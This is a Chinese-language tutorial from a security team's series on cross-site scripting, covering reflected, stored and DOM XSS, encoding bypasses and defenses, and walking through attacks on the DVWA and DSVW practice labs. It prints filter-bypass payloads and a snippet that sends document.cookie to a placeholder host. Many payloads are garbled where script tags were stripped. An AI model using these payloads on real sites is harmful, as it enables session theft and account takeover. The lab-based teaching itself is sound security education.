原标题:Web安全Day2 - XSS跨站实战攻防(上)
本文由红日安全成员:Aixic 编写,首发于先知社区红日专栏。如有不当,还望斧正。
大家好,我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字叫Web安全实战(https://github.com/hongriSec/Web-Security-Attack),希望对想要学习Web安全的朋友们有所帮助。每一篇文章都是于基于漏洞简介-漏洞原理-漏洞危害-测试方法(手工测试,工具测试)-靶场测试(分为PHP靶场、JAVA靶场、Python靶场基本上三种靶场全部涵盖)-实战演练(主要选择相应CMS或者是Vulnhub进行实战演练),如果对大家有帮助请Star鼓励我们创作更好文章。如果你愿意加入我们,一起完善这个项目,欢迎通过邮件形式([email protected])联系我们。
1.XSS漏洞概述1.1 漏洞简介
跨站脚本攻击—XSS(Cross Site ),是指攻击者通过在Web页面中写入恶意脚本,造成用户在浏览页面时,控制用户浏览器进行操作的攻击方式。假设,在一个服务端上,有一处功能使用了这段代码,他的功能是将用户输入的内容输出到页面上,很常见的一个功能。但是假如,这里输入的内容是一段经过构造的js。那么在用户再次访问这个页面时,就会获取使用js在用户的浏览器端执行一个弹窗操作。通过构造其他相应的代码,攻击者可以执行更具危害的操作。
1.2 XSS漏洞原理1.2.1 反射型
非持久型,常见的就是在URL中构造,将恶意链接发送给目标用户。当用户访问该链接时候,会向服务器发起一个GET请求来提交带有恶意代码的链接。造成反弹型XSS
主要是GET类型
1.2.2 存储型
持久型,常见的就是在博客留言板、反馈投诉、论坛评论、将恶意代码和正文都存入服务器的数据库。每次访问都会触发恶意代码。
例如:alert(/xss/)
1.2.3 DOM型
DOM型是特殊的反射型XSS
在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。
<>varimg=document.("img");img.src="http://xxxx/a?"+escape(document.cookie);>
1.3 XSS危害1.3.1 盗取管理员cookie
盗取管理员的cookie然后登陆后台,获取到后台权限。
1.3.2 XSS蠕虫攻击
可以构成几何的速度进行传播xss代码,获取大部分人的权限。一般配合csrf使用
1.4 常用XSS语句<>alert(/xss/);>//经典语句
1.5 XSS漏洞绕过1.5.1 JS编码
三个八进制数;如果不够前面补0
两个十六进制数字;如果不够前面补0
四个十六进制数字;如果不够前面补0
控制字符
1.5.2 HTML实体编码
以&开始;结束
1.5.3 URL编码
%27
考虑HTML的渲染方式选择合适的编码方式进行测试
1.6 XSS漏洞浏览器问题
有些浏览器会过滤掉一些js脚本,在测试的时候需要关闭对Java的检测。
0x06 XSS漏洞防御
过滤输入的数据,和非法字符‘ “ < > on* 等”’
输出到页面的数据进行相应的编码转换包括HTML实体编码、Java编码等
2. 测试方法2.1 手工测试
这里我们选取DVWA靶场进行手工测试。
2.1.12.1.1.1 DVWA 简介
DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。
2.1.1.2 DVWA 安装https: //github.com/ethicalhack3r/DVWA/archive/master.zip
本地PHPStudy搭建DVWA靶机,放入www目录下即可
环境使用PHP+MySQL即可。
image-20190811182129720
修改config.inc.php.dist配置文件中的数据库密码,并且把文件后缀.dist去掉
image-20190811182159111
因为是xss实验,所以上面的红字可无视,重置一下数据库进入靶场
image-20190811182222937
用户名:admin 密码:password 登陆靶场
image-20190811182237449
默认的难度是impossible级别,先选择low级别
image-20190811182246872 2.1.1.3 测试过程
Low
Low_DOM XSS
用即可触发XSS
mage-20190811182257946
Low_Reflected XSS
直接使用<>alert(document.cookie)>
image-20190811182322304
Low_Stored XSS
image-20190811182347247
在这里插入图片描述
Medium
Medium_DOM XSS
从Medium级别就开始有加固
在这里插入图片描述
可以看到它先判断default是否为空,如果不为空,判断下面判断GET输入进来的变量default是否存在
用之前low级别的代码就可以进行绕过
在这里插入图片描述
Medium_Reflected XSS
在这里插入图片描述
分析发现现实判断是否为空,如果不为空再判断其中的内容如果有<>就替换成空复写就可以绕过
ript>alert(document.cookie)>
在这里插入图片描述
Medium_Stored XSS
在这里插入图片描述
在信息框把所有的特殊字符都进行了addslashes转义,在name那块仍然可以用复写绕过、
但是name处限制了长度,改一下即可
在这里插入图片描述
image-20190811182633425
在这里插入图片描述
High
High_DOM XSS
High级别的代码的限制就比较多,但是还能利用
image-20190811182617469
只能选择case后面的参数来提交,如果不是就按照默认English
构造语句,这里的##是URL的锚点,让浏览器判断这里终止,主要是让本地存储这个xss语句,发送到服务端进行验证的是##前面的内容,达到了绕过的目的
English## <>alert(document.cookie)>
在这里插入图片描述
High_Reflected XSS
image-20190811182604242
上述代码进行了正则替换,只要包含这些都会进行替换,不使用即可
在这里插入图片描述
High_Stored XSS
在这里插入图片描述
跟上面同理,在name处进行xss,仍然需要改name长度
image-20190811182548864
Impossible
Impossible级别利用失败
在这里插入图片描述 无敌防御方法使用htmlspecialchars函数对输入的数据实例化,失去本身作用。2.1.2 DSVW2.1.2.1 DSVW 简介
Damn Small Vulnerable Web (DSVW) 是使用 Python 语言开发的 Web应用漏洞 的演练系统。其系统只有一个 python 的脚本文件组成, 当中涵盖了 26 种 Web应用漏洞环境, 并且脚本代码行数控制在了100行以内, 当前版本v0.1m。需要python (2.6.x 或 2.7)并且得安装lxml库
2.1.2.2 DSVW 安装
安装python-lxml,再下载DSVW
apt- getinstall python-lxml
git clone https: //github.com/stamparm/DSVW.git
直接运行
在这里插入图片描述
在这里插入图片描述
如果出现ip无法访问的情况改一下代码即可
在这里插入图片描述 2.1.2.3 测试过程
** XSS(Reflected) **
因为这个网站没有cookie,所以直接弹射信息
代码<>alert(/xss aixi/)>
在这里插入图片描述
** XSS(Stored) **
http://10.1.1.14:65412/?comment=%3C%3Ealert(/xss%20aixi/)%3C/%3E
代码<>alert(/xss aixi/)>
在这里插入图片描述
直接弹射
** XSS(DOM) **
?##lang=<>alert(/xss%20aixi/)>
在这里插入图片描述
直接弹射
** XSS(JSON) **
在这里插入图片描述
在这里插入图片描述
看代码可发现
构造语句alert(/xss/)即可不用带
在这里插入图片描述 2.2 工具测试
因为要测试所以需要关闭DVWA的登陆验证
加上$dvwaSession[ 'username' ]='admin';
在这里插入图片描述
在config/config.inc.php把默认难度也改成low
在这里插入图片描述 2.2.1 BruteXSS
下载链接
https: //github.com/ym2011/penetration/tree/master/BruteXSS
image-20190811182510256
测试过程中会因为DVWA的cookie验证严格出现问题,把dvwa的代码进行本地测试利用即可
image-20190811182720820 2.2.2 xxser
Kali自带或下载链接
在基于Debian的系统上安装
sudo apt- getinstall python-pycurl python-xmlbuilder python-beautifulsoup python-geoip 使用
在这里插入图片描述
利用成功
点击“阅读原文”,跳转至github查看更多~返回搜狐,查看更多
责任编辑: